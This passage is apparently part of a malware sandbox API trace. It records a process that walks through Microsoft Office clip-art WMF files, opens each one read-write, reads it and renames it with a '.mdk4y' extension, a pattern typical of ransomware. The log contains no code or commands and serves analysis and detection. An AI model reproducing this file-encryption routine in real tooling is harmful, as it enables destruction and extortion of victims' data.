[0170.123] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d14, lpOverlapped=0x0) returned 1 [0170.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.mdk4y")) returned 1 [0170.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.135] AreFileApisANSI () returned 1 [0170.135] GetACP () returned 0x4e4 [0170.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00641_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00641_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.135] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x64c, lpOverlapped=0x0) returned 1 [0170.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.mdk4y")) returned 1 [0170.167] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.167] AreFileApisANSI () returned 1 [0170.167] GetACP () returned 0x4e4 [0170.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00784_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00784_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.167] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.168] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7658, lpOverlapped=0x0) returned 1 [0170.190] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.mdk4y")) returned 1 [0170.191] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.191] AreFileApisANSI () returned 1 [0170.191] GetACP () returned 0x4e4 [0170.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00798_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00798_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.191] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.191] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23f8, lpOverlapped=0x0) returned 1 [0170.211] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.mdk4y")) returned 1 [0170.212] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.212] AreFileApisANSI () returned 1 [0170.212] GetACP () returned 0x4e4 [0170.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00806_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00806_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.212] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.213] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x788, lpOverlapped=0x0) returned 1 [0170.234] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.mdk4y")) returned 1 [0170.235] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.235] AreFileApisANSI () returned 1 [0170.235] GetACP () returned 0x4e4 [0170.235] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00807_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00807_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.235] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.236] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xba4, lpOverlapped=0x0) returned 1 [0170.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.mdk4y")) returned 1 [0170.252] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.252] AreFileApisANSI () returned 1 [0170.252] GetACP () returned 0x4e4 [0170.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00808_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00808_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.252] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.253] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x514, lpOverlapped=0x0) returned 1 [0170.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.mdk4y")) returned 1 [0170.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.260] AreFileApisANSI () returned 1 [0170.260] GetACP () returned 0x4e4 [0170.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00809_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00809_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.260] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x608, lpOverlapped=0x0) returned 1 [0170.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.mdk4y")) returned 1 [0170.263] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.263] AreFileApisANSI () returned 1 [0170.263] GetACP () returned 0x4e4 [0170.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00810_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00810_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.263] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd58, lpOverlapped=0x0) returned 1 [0170.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.mdk4y")) returned 1 [0170.265] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.265] AreFileApisANSI () returned 1 [0170.265] GetACP () returned 0x4e4 [0170.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00932_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00932_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.265] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.266] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3210, lpOverlapped=0x0) returned 1 [0170.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.mdk4y")) returned 1 [0170.268] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.268] AreFileApisANSI () returned 1 [0170.268] GetACP () returned 0x4e4 [0170.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01064_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01064_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.268] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.269] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c46, lpOverlapped=0x0) returned 1 [0170.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.mdk4y")) returned 1 [0170.271] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.271] AreFileApisANSI () returned 1 [0170.271] GetACP () returned 0x4e4 [0170.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01066_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01066_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.271] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.272] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x54a8, lpOverlapped=0x0) returned 1 [0170.274] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.mdk4y")) returned 1 [0170.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.275] AreFileApisANSI () returned 1 [0170.275] GetACP () returned 0x4e4 [0170.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01069_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01069_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.275] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.275] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a7e, lpOverlapped=0x0) returned 1 [0170.286] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.mdk4y")) returned 1 [0170.287] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.287] AreFileApisANSI () returned 1 [0170.287] GetACP () returned 0x4e4 [0170.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01123_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01123_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.287] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.287] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.291] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.mdk4y")) returned 1 [0170.294] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.294] AreFileApisANSI () returned 1 [0170.294] GetACP () returned 0x4e4 [0170.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01126_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01126_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.294] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.295] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb70, lpOverlapped=0x0) returned 1 [0170.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.mdk4y")) returned 1 [0170.298] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.298] AreFileApisANSI () returned 1 [0170.298] GetACP () returned 0x4e4 [0170.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01130_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01130_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.298] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.299] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16a0, lpOverlapped=0x0) returned 1 [0170.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.mdk4y")) returned 1 [0170.305] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.305] AreFileApisANSI () returned 1 [0170.305] GetACP () returned 0x4e4 [0170.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01141_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01141_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.305] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.306] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16d8, lpOverlapped=0x0) returned 1 [0170.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.mdk4y")) returned 1 [0170.317] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.317] AreFileApisANSI () returned 1 [0170.317] GetACP () returned 0x4e4 [0170.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01148_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01148_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.318] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f38, lpOverlapped=0x0) returned 1 [0170.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.mdk4y")) returned 1 [0170.364] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.364] AreFileApisANSI () returned 1 [0170.364] GetACP () returned 0x4e4 [0170.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01149_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, 